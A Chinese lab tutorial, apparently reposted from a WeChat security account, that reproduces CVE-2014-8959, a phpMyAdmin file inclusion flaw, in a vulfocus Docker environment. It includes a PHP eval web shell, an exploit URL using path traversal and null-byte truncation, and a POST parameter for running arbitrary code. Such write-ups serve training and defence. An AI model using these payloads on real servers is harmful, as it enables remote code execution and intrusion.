教程 | CVE-2014-8959 phpMyAdmin任意文件包含

admin 2022年5月16日19:48:19评论469 views字数 912阅读3分2秒阅读模式

01

漏洞描述



phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

漏洞利用有两个前提:

1. 能登陆phpMyAdmin,满足phpmyadmin的安全检查

2. 需要截断,需要满足下面的要求之一

    ① PHP的版本需要小于 5.3.4 且gpc关闭

    ② 利用长文件名截断


02

漏洞环境



环境:
vulfocus/phpmyadmin-cve_2014_8959:latest
docker pull vulfocus/phpmyadmin-cve_2014_8959:latestdocker run -d -p 8080:80 vulfocus/phpmyadmin-cve_2014_8959:latest

03

漏洞复现



测试账号:pmatest:pmatest

1、使用测试账号登录PHPmyadminphpMyAdmin地址:

http://ip:port/pma

2、登录成功后获取token,token在url中可以找到

教程 | CVE-2014-8959 phpMyAdmin任意文件包含

3、漏洞环境所在的服务器内置了一张木马,内容如下

<?php@eval($_POST[a]);?>
4、访问漏洞url,包含该木马文件
http://<IP>/pma/gis_data_editor.php?token=effa7667f41b469bde9c43d6e814f9a4&&gis_data[gis_type]=/../../../../1.gif%00
5、同时post参数 a=phpinfo();

参数内也可以传入其他任意php代码

教程 | CVE-2014-8959 phpMyAdmin任意文件包含

6、如果该服务器内有其他文件,同样可以被包含


04

漏洞修复



建议更新至最新版本



往期回顾

◆ 教程 | CVE-2018-9207 jQuery文件上传漏洞复现
◆ 教程 | CVE-2020-13384 Monstra文件上传漏洞复现
◆ 工具分享 | dirsearch拒绝梭哈攻略
◆ NISP认证 | 中国信息安全行业唯一面向在校大学生的权威证书


如有侵权,请联系删除。

教程 | CVE-2014-8959 phpMyAdmin任意文件包含

扫码关注我们

查看更多精彩内容




原文始发于微信公众号(长风实验室):教程 | CVE-2014-8959 phpMyAdmin任意文件包含

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月16日19:48:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   教程 | CVE-2014-8959 phpMyAdmin任意文件包含http://cn-sec.com/archives/1011390.html

发表评论

匿名网友 填写信息